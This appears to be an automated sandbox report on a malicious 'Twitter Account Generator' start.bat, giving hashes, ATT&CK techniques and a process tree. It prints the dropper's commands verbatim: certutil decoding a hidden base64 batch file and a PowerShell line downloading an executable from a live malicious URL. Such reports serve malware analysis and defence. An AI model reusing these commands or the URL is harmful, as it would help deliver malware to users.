60469e59dd3f911ea4c04971f62ff891c97c5612c654ddb114dd47f7a1565d63

Analysis

max time kernel
93s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08-08-2024 16:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Twitter-Account-Generator-main/start.bat
Size

4KB
MD5

6b2d9f1769e0a9764ad143ac2679793b
SHA1

c9f5de490ce94729c1da33e375fb4c85a2a4e9f3
SHA256

546fe7bedfc1f85065c096b5cd025b65040e3ace4254d788575effdfd7ee8bb9
SHA512

e6060cf7c609a881a6b34157b75345b73a7101d86b5547ca49cf0cf3380b412c5b6d9261fc8507a3418c5cfce17431d39d415f0448bf1f90d6c15452ed6a6551
SSDEEP

96:9eGnKyIuE5jEdXT2QPUjtOmZE5jEdXT2QcBT8r7q:9pfE5QF2QsVE5QF2QcU2

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://captcha-private.com/duck

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1720	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1720	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
3448	certutil.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
936	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1720	powershell.exe
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4976 wrote to memory of 936	4976	cmd.exe	84
PID 4976 wrote to memory of 936	4976	cmd.exe	84
PID 4976 wrote to memory of 4980	4976	cmd.exe	88
PID 4976 wrote to memory of 4980	4976	cmd.exe	88
PID 4980 wrote to memory of 2196	4980	cmd.exe	89
PID 4980 wrote to memory of 2196	4980	cmd.exe	89
PID 4976 wrote to memory of 3448	4976	cmd.exe	90
PID 4976 wrote to memory of 3448	4976	cmd.exe	90
PID 4976 wrote to memory of 1720	4976	cmd.exe	91
PID 4976 wrote to memory of 1720	4976	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Twitter-Account-Generator-main\start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4976
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c where python 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\where.exe
    where python
    3⤵
    PID:2196
- C:\Windows\system32\certutil.exe
  certutil -decode C:\Users\Admin\AppData\Local\Temp\temp.b64 C:\Users\Admin\AppData\Local\Temp\update.bat
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:3448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "$client = New-Object System.Net.WebClient; $client.DownloadFile('https://captcha-private.com/duck', 'C:\Users\Admin\AppData\Local\Temp\modules.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjicbzpi.yhs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.b64

Filesize
996B

MD5
4a9c6e9d5d793fcf83f053cdd296469f

SHA1
dba0e6995327bc8e69bd6e86921add5ac732d950

SHA256
af1dbffd902a4b14d201b08f77507bf7bef65cfe9b2c29045a1e5e8ed17b5a62

SHA512
5acdce4686787a5d3bf4c5cd0b00fc79f546eafdb9f1ba4ca0e4dbf2482aaf8c7a68ea8b629c37ed01a8fe133aea891693fd2e1aa6b65cc05a76cbabff10d498

Download Submit
C:\Users\Admin\AppData\Local\Temp\update.bat

Filesize
742B

MD5
d14d5535d1ae51d63e66ec9c582db511

SHA1
ae4774b45d0259b9d8cafeaf8286b7fd83525f3a

SHA256
5c8182050debfe51914dee0270185fd44cd4483f9e712ddb33e1901c1552c421

SHA512
b35c97ba0a04c95ec1b6768df6b66ea0cf9f5070d53b1f031d263483260966c638991a34fba6cea020f5223c8696951f46815c20c4c610e99a45d639330c7e6d

Download Submit
memory/1720-6-0x00007FFD7DCA3000-0x00007FFD7DCA5000-memory.dmp

Filesize
8KB

Download
memory/1720-16-0x000001B8A00A0000-0x000001B8A00C2000-memory.dmp

Filesize
136KB

Download
memory/1720-17-0x00007FFD7DCA0000-0x00007FFD7E761000-memory.dmp

Filesize
10.8MB

Download
memory/1720-18-0x00007FFD7DCA0000-0x00007FFD7E761000-memory.dmp

Filesize
10.8MB

Download
memory/1720-19-0x00007FFD7DCA0000-0x00007FFD7E761000-memory.dmp

Filesize
10.8MB

Download
memory/1720-20-0x00007FFD7DCA3000-0x00007FFD7DCA5000-memory.dmp

Filesize
8KB

Download
memory/1720-21-0x00007FFD7DCA0000-0x00007FFD7E761000-memory.dmp

Filesize
10.8MB

Download